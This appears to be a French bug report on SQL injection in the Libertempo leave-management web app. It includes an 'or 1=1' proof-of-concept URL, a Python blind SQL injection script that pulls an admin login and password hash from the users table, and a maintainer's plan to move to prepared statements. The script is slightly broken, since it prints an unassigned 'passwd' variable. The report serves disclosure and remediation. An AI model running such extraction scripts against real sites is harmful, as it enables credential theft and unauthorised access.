Injection SQL

[Areizen]

Description

La fonction quote n'échappe pas correctement les injections SQL ce qui peut permettre à un attaquant de récupérer des informations sensibles tels que les identifiants/hash des utilisateurs.

Remediation

Utiliser des requêtes preparées sur l"ensemble du site

Exemple d'exploitation

https://demo.libertempo.fr/edition/edition_papier.php?user_login=georges&edit_id=1 or 1=1

ou exemple de récupération d'identifiants à partir du manque de validation :

( modifier le PHPSESSID et les id en fonctions de la plateforme )

import requests
import string

url = 'https://demo.libertempo.fr/edition/edition_papier.php'
keyword = '29/04/2019'
s = requests.session()
s.cookies.update({"PHPSESSID":"95b5f3qjpthgf9o134gi4idf7p"})

#    Getting the length of one admin user
for i in xrange(1,200):
    injection = "?user_login=georges&edit_id=87 AND (SELECT LENGTH(u_login) from conges_users where u_is_admin=char(89) limit 1)=" + str(i)
    if s.get(url + injection).content.find(keyword) != -1:
        length = i
        print(length)
        break

#    Getting the name of one admin user
database = ''
for n in xrange(1, length + 1):
    for c in string.printable:
        injection = "?user_login=georges&edit_id=87 AND (SELECT SUBSTRING(u_login, " + str(n) + ", 1) from conges_users where u_is_admin=char(89) limit 1)=char(" + str(ord(c)) + ")"
        if s.get(url + injection).content.find(keyword) != -1:
            print database
            database += c
            break

login = database


#    Getting the length of his password
for i in xrange(1,200):
    injection = "?user_login=georges&edit_id=87 AND (SELECT LENGTH(u_passwd) from conges_users where u_is_admin=char(89) limit 1)=" + str(i)
    if s.get(url + injection).content.find(keyword) != -1:
        length = i
        print(length)
        break

#    Getting the name of password
database = ''
for n in xrange(1, length + 1):
    for c in string.printable:
        injection = "?user_login=georges&edit_id=87 AND (SELECT SUBSTRING(u_passwd, " + str(n) + ", 1) from conges_users where u_is_admin=char(89) limit 1)=char(" + str(ord(c)) + ")"
        if s.get(url + injection).content.find(keyword) != -1:
            print database
            database += c
            break

print("Found login/hash : ",(login,passwd))

NB : j'ai essayé de trouver le bon compromis entre la sécurité, l'énergie déployée et la fiabilité. Il est important de noter que la réécriture via l'API corrige petit à petit ce fait.

---

Après étude, j'ai cherché toutes les queries concernées, en supprimant les autres ordres que SELECT et les queries qui étaient déjà protégées. Il reste le contenu ci-dessous.

Je propose au contributeur qui voudrait mettre les mains dedans de prendre un fichier de la liste et de regarder ce qui peut être typecasté simplement (il y en a).

Autrement, il faudra faire une autre méthode dans le fichier qui va bien pour avoir une empreinte minimale sur les codes consommateurs et y développer le mécanisme des requêtes préparées.

Il suffira alors de me dire ce que vous avez fait, je modifierai alors la liste.
